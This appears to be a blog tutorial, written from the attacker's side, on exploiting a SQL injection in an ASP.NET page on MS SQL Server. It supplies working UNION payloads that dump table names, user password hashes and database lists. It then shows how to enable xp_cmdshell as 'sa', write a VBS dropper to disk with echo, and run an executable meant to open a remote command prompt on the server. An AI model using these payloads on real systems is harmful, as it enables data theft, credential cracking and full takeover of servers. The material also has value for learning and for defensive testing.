About SQL Injections

Scenario

There are many articles about SQLis but I’m writing this with the aim of a Windows server and MS SQL server specifically. Most of this can be applied to other environments too.

Let’s suppose that you’ve found an SQL injection vulnerability on a page that has a GET parameter called “item” and that shows the details of a single item. Then you might be wondering how could I exploit it.
The url looks something like:

Details.aspx?item=1  

Injection

Let’s assume that in the database there is a table with 5 columns: id (integer, row id), data (text), name (text), priority(integer) and private (bool). Then in the application, one could (but shouldn’t) write an SQL query like:

"select id, data, name, priority, private from Example where id = " + Request["item"] + " and private = 0”  

Now if a malicious user enters something nasty, like

Details.aspx?item=0 or 1=1--  

then, the query will return all rows from the table, including rows with private set to 1; the query will become:

select id, data, name, priority, private from Example where id = 0 or 1=1-- and private = 0  

The next logical step is to find out how many columns of data are returned from the query; remember that the attacker doesn’t see it, but instead has to try different things and see how the query is constructed. To find out the number of columns, you have basically 2 options:

  • Add an order by statement, like “Details.aspx?item=1 order by 1 –“ then increment the number one by one until the app crashes. The number of columns is the highest value that will work.
  • Or create union query and see how many columns you have to union for the query to work: “-1 union select ‘1' –“. Notice that when using this method, you should select an Id that doesn’t exist…

Access other data

After you’ve figured out how many columns there are, it’s easy to craft a union query and fetch something useful from the database. The only hindrance is that since this is a details view, for a single item, you can’t select multiple rows to display. You could select only 1 row at a time with your select clause, or if the SQL Server is 2005 or newer, you can select data as an xml using “for xml raw” statement like:

Details.aspx?item=-1 union all select '1', '1',(select name from sys.tables for xml raw),'1','1','1' --  

Now let’s see what the query returns:

‘1', ‘1', ‘<row name="users"/><row name="LogData"/><row name="Example"/>', ‘1', ‘1', ‘1'  

The users looks like an interesting place to look at, so let’s modify the query a bit:

Details.aspx?item=-1 union all select '1', '1',(select * from users  for xml raw),'1','1','1' –  

Now the query will return something like:

‘1', ‘1', ‘<row id="1" username="admin" password="0baea2f0ae20150db78f58cddac442a9" is_admin="1"/><row id="2" username="user" password="5f4dcc3b5aa765d61d8327deb882cf99" is_admin="0"/>…', ‘1', ‘1', ‘1'  

So next logical step is to go to your favorite hash cracker and find out the password for admin user.

After that, you could try a couple more things with the server… Probably first you could see if you can read other databases. Basically you can get them with the same kind of union clause:

Details.aspx?item=-1 union all select '1', '1',( SELECT name FROM master..sysdatabases for xml raw),'1','1','1' –  

Then see if those databases have interesting tables / data…

Database user

But since this is a MS SQL you could try to get even further, start by finding out which user is used in the sql connection; if you’re in luck the user is “sa”. Again use the union clause:

Details.aspx?item=-1 union all select '1', '1',(SELECT SYSTEM_USER),'1','1','1' –  

You will get something like:

‘1', ‘1', ‘sa', ‘1', ‘1', ‘1'  

If the user actually was sa, you have full access to the database.
So now that you own the database, you want to go further, right? The further steps assume that the ‘sa' account was in fact encountered.

Accessing the command line

In MS SQL server there is one cool stored procedure called xp_cmdshell. What it does is basically fire up cmd and run the command that is passed to it as param, like

exec xp_cmdshell 'dir c:\'  

Simple enough, eh? Too bad you can’t run stored procedures with select clauses, so you have to execute the commands blindly by separating the stored procedure from the select query with semicolon ( ; ). In addition, that proc is usually disabled, but since we are in as SA –user, we can enable it again. To enable it again, just run the following via the SQLi vuln:

Details.aspx?item=1; EXEC master.dbo.sp_configure 'show advanced options', 1; RECONFIGURE; EXEC master.dbo.sp_configure 'xp_cmdshell', 1;RECONFIGURE  

Now the stored procedure should be enabled. To test it out, you could fire up your favorite network traffic listener and ping yourself using xp_cmdshell proc. If that worked, you can execute programs on the target server.

And since I know that you’re not satisfied with only running commands blindly, let’s take this one step further. We need to upload an executable that will connect my box and give me a command line.

Echo and redirecting output

Let’s have a look at windows command line a bit. For this exploit, you need the command ECHO, a command that echoes what you type, and then we need to redirect that output to a file. Here’s an example about echo:

C:\> ECHO test  
test  

Then I can redirect the output to a file using greater than sign like so:

C:\> ECHO test > output.txt  

To append data to a file, use double greater than signs:

C:\> ECHO test2 >> output.txt  

Now the file will contain 2 rows:

test  
test2  

To continue with the same example as previously, with the vulnerable parameter “item” you could call the stored proc with:

Details.aspx?item=1; exec xp_cmdshell 'echo test > c:\output.txt';--  

Creating binary files

We can’t create binary files with this method though, so how would we upload a program that is in binary, if we can’t create binary files? Probably the most common way to encode binary into non binary strings is Base 64 and since the target is a windows server, we could create a .vbs file that contains the base64 string and will extract it when it’s executed. The following will have the base64 encoded value and extract it to a file called out.exe to the root of the C –drive: a vbs script in pastebin.

To upload the file, you need to echo it line by line and redirect the output to a file that has an extension .vbs. After the file has been uploaded simply execute it to create the actual payload binary and finally execute the out.exe:

Details.aspx?item=1; exec xp_cmdshell ‘c:\myfile.vbs';--  
Details.aspx?item=1; exec xp_cmdshell ‘c:\out.exe';--  

If your payload provided you a command prompt, the first thing to do, is run whoami. If the system admins are lazy, you’ll get:

nt authority\system  

and if not, then you have to try and escalate your privileges, but that is a topic for another article.

Thanks for reading.